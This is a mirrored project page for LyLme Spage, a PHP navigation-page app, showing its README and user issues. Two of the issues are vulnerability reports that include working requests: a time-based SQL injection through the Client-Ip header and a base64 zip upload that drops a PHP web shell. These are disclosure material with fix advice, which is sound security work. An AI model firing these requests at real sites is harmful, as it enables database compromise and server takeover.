Giter Club home page Giter Club logo

lylme_spage's Introduction

六零导航页

项目介绍

六零导航页 (LyLme Spage) 致力于简洁高效无广告的上网导航和搜索入口,支持后台添加链接、自定义搜索引擎,沉淀最具价值链接,全站无商业推广,简约而不简单。

演示站点

https://hao.lylme.com

安装教程

  1. 前往Gitee ReleasesGithub Releases 下载最新版本源码压缩包,上传到网站根目录解压
  2. 访问http://域名/install
  3. 按提示配置数据库进行安装
  4. 后台地址:http://域名/admin
  5. 账号密码:admin/123456

通过Docker安装

查看docker分支

如果你是在 x86_64 Linux 架构的机器上安装,已经安装了 Dockerdocker-compose 并且有 Docker 权限,你可以通过脚本快速部署:

curl -L 'https://aka.caomingjun.com/lylme/install.sh' | bash

其他架构未进行测试,可能无法通过脚本部署。

如果要安装到其他架构,或者如果你想使用一些进阶玩法,你也可以手动进行 Docker 部署,这里是教程

项目说明

六零导航页 (LyLme Spage) 整合了一些优秀的导航页,为了让使用和网站管理更方便,增加了后台管理。并修改和优化了部分内容:

  1. 使用PHP+MySql,增加后台管理

  2. 多模板选择,支持在后台切换模板

  3. 增加常用搜索引擎,如:知乎、哔哩哔哩、在线翻译等(支持自定义)

  4. 支持用户提交收录申请,地址:http://域名/apply

  5. 部分模板优化和增加部分功能,如返回顶部、获取输入框焦点、时间日期显示等

  6. 另外,如果你有更好的建议或者反馈问题欢迎提交Issue!

背景设置

  • 每日一图背景: 六零导航页支持使用Bing每日一图作为背景,接口地址:/assets/img/bing.php,但直接调用的bing.php返回的图片并不是静态文件,不会产生缓存,会导致后续加载速度慢。

    解决方案:修改/assets/img/cron.php文件配置秘钥,然后添加一个每天执行的CRON任务:GET http://域名/assets/img/cron.php ,执行后会将Bing每日一图保存到assets/img/background.jpg,然后在后台修改背景地址为:./assets/img/background.jpg即可

  • 其他背景: 前往后台设置

捐赠

演示截图

截图1

六零导航页baisuTwo主题PC端截图

截图6

截图2 截图3

截图4

截图5

鸣谢

D.Young

笔下光年

BaiSu

...

lylme_spage's People

Contributors

lerogo avatar lylme avatar mstxq17 avatar zdwtest avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

lylme_spage's Issues

[Bug]lylme主题下搜索栏图标没有变

预期的行为:搜索栏的图标和实际选择的搜索方式的图标一致

实际的行为

搜索栏的图标始终为百度。例如使用谷歌搜索时,搜索栏的提示已经改变,但是图标没有变:

image

希望增加两个功能

如果常用导航这里用户能够,自己添加删除编辑导航就完美了,配合用户登录保留数据。

腾讯云提示文件风险不知道是什么原因

<title>关于 - </title> <style>body:not(.ready){overflow:auto!important}#main{max-width:90%}p.footer{margin-top:60px}p.footer a{text-decoration:none}</style>
if(file_exists($about)){
//文件存在,直接输出文件内容
echo file_get_contents($about);
}
else {
//文件不存在,从服务器获取后写入本地再输出文件
@file_put_contents($about,file_get_contents('https://cdn.lylme.com/lylme_spage/file/about.txt'));
echo file_get_contents($about);
}
?>

安装导库报错

安装失败
SQL成功41句/失败2句
错误信息:Duplicate entry '3' for key 'PRIMARY'
Incorrect table definition; there can be only one auto column and it must be defined as a key

访问管理bug

访问管理

Warning: session_start(): Cannot start session when headers already sent in /var/www/html/pwd/index.php on line 52
请输入密码登录

Security Contact

Hello maintainer(s),

I am a security researcher from the Institute of Application Security at TU Braunschweig, Germany. We discovered a (potential) security vulnerability in your project.

We would like to report this vulnerability to you in a responsible and ethical manner.
Therefore, we do not want to disclose any details of the vulnerability publicly until you have had a chance to review and fix it.

Could you please let us know your prefered way of receiving security reports?

You can contact us at [email protected] or by replying to this issue.

Thank you for your attention and cooperation.

分组id在数据库能自动调节就好了

不然修改或添加分组,调节位置只是在前台调节,在后台链接管理里面,点击会默认跳转到在数据库id为1的那个分组
还有就是/pwd 密码那里 要是有个token放在url中 替换掉登录这个步骤就更完美了。 当然只是建议。这样不用输入密码了,放在自己收藏夹里点进去比较方便。

有一个小BUG, 搜索引擎BUG

修改谷歌为第一搜索引擎后 ,图标会默认为百度图标,切换其他搜索再切换回来,谷歌图标就消失了。希望能修复,最喜欢的导航,没有之一了

希望添加二级目录

希望能添加个二级目录,分类能清除点。对于链接多的人来说,全部链接都在一个页面有点乱。

对于链接描述,在那些无法显示描述的主题上,能否加个鼠标悬停显示描述的选择,可以做成开关形式。

当然只是个人想法

可以增加二级分类和描述功能吗?

大佬,可以再增加二级分类和描述功能吗?主要是收集的网址久了之后自己都忘了是用来干什么的了。
我看到function.php里面好像可以增加描述模板,而且数据库你好像也预留了这个字段。

[vulnerability] Pre-auth SQL Injection Vulnerability in function.php (function.php 存在前台SQL注入漏洞)

Pre-auth SQL Injection Vulnerability in function.php

1.Steps to reproduce (复现步骤)

1.Access http://host/apply/index.php?submit=post via POST method and carry the follw data, the injection point is Client-Ip field within HTTP Header.

1.根据下图所示构造请求数据包,漏洞存在于 HTTP Header 的 Client-Ip 字段。

POST /apply/index.php?submit=post HTTP/1.1
Host: host
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
cookie: PHPSESSID=;XDEBUG_SESSION=PHPSTORM
Client-Ip: 0'>if(1,sleep(10),2)>'
Content-Length: 70

url=http%3A%2F%2Fqq.comcAMMVjjb1OL&name=test&group_id=1&icon=&authcode=

image-20231009210156385

payload: Client-Ip: 0'>if(1,sleep(10),2)>'

2.As shown aboved, the payload can delay response elapsed time by more than 10 seconds

如上图所示,载荷可以使响应时间延迟10s以上。

2.Expected behaviour (预期行为)

get_real_ip function is meant to get an valid real client ip.

get_real_ip 函数的本意是获取一个合法的真实用户的ip地址。

image-20231009210745234

And then, the $userip will be part of the $sql variable value which will be execute by $DB->query($sql).

然后,$userip 将成为$sql变量值的一部分,由 $DB->query($sql) 执行。

image-20231009211450125

3.Actual behaviour (实际行为)

However, step in the vuln function get_real_ip$real_ip can be passed unrestricted malicious SQL payload by Client-Ip: field.

但是,在漏洞函数 get_real_ip 中,$real_ip 可以通过 Client-Ip: 字段传递不受限制的恶意 SQL 有效载荷。

image-20231009211107597

so the attack payload Client-Ip: 0'>if(1,sleep(10),2)>' can take effect and executed。

因此攻击载荷 Client-Ip: 0'>if(1,sleep(10),2)>' 能够生效并被执行。

4.Affected Version (受影响的版本)

this SQL Vuln Affect latest Version: lylme_spagev1.7.0

这个SQL注入漏洞影响最新版本:六零导航页 v1.7.0

5.fixes Recommendations (修复建议)

For fix this vuln, Here is my advices:

1.Check if the format of the ip satisfies the ipv4 rfc in get_real_ip

2.Handle the result of ip, like this strip_tags(daddslashes(get_real_ip()));

3.Delete this variable which seems useless

为了修复这个漏洞,我有以下建议:

1.在 get_real_ip 中检查 IP 的格式是否符合 ipv4 rfc 标准

2.像这样处理 ip 的结果 strip_tags(daddslashes(get_real_ip()));

3.删除这个看似无用的变量

请问需要有哪些php扩展呢?

输入数据库信息后,点下一步,一直卡在了do=3,进度条只有一半。
看以前的issues,好像是php扩展没装?

第一页的php扩展要求也全符合了。

备份的问题

我是docker版,安装的时候生成了一个文件夹,所有的文件都在这个文件夹里。备份的话,只要把这个文件夹备份了就可以了吧?
另外后面是不是可以增加一个给链接排序的功能?还有设置或者链接批量导入导出?

访问域名失败

我之前用docker部署网站,最后一步添加数据库显示没有权限,于是改成宝塔部署,添加数据库和创立站点后,访问域名却打不开

[vulnerability] Upload Shell Vulnerability in ajax_link.php

Upload Shell Vulnerability in ajax_link.php

1.Steps to reproduce

1.Access http://host/admin/ajax_link.php?submit=update via POST method and carry the follw data, the injection point is file field within HTTP Body.

Although this is a backend vulnerability, the Pre-Auth chain to upload shell can be implemented in conjunction with #32

POST /lylme_spage-master/admin/ajax_link.php?submit=update HTTP/1.1
Host: host
Connection: close
Cookie: admin_token=ec2a3HYAaqQws10zQfeSJaDeJN1aI2gOnV9BLpaHNYdb2hHPQ9nYkoMzuOuQIokfoyJRVcVNK3aT8JUZXq5WSPqTBQ;
Content-Type: application/x-www-form-urlencoded
Content-Length: 198

file=data://text/plain;base64,UEsDBBQAAAAIALMUSFdQg8x9EgAAABIAAAAFAAAAMS5waHCzsS/IKFAA4sy8tHwNTWt7OwBQSwECFAMUAAAACACzFEhXUIPMfRIAAAASAAAABQAAAAAAAAAAAAAAgAEAAAAAMS5waHBQSwUGAAAAAAEAAQAzAAAANQAAAAAA

image-20231009215458660

2.After submit the request, the shell 1.php will be extracted to the ROOT dir.

image-20231009215829759

2.Expected behaviour

The code snippet as shown meant to update system from zip compress package.

image-20231009220523659

3.Actual behaviour

Howerver, audit the code depth, found that the extracted $RemoteFile can passed any malicious data, and then release to ROOT Dir via zipExtract function directlty.

image-20231009220254386

4.Affected Version

this Vuln Affect latest Version: lylme_spagev1.7.0

5.fixes Recommendations

For fix this vuln, Here is my advices:

1.Delete this function point

2.Limit decompression file suffixes

天气切换城市部分县城无法切换

recording
当选择的城市超出天气展示区后,城市无法选中,下拉框已经无法拖动,所以无法移动到展示区选中城市
复现步骤:切换城市时,选择任意不在天气展示区内的城市

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.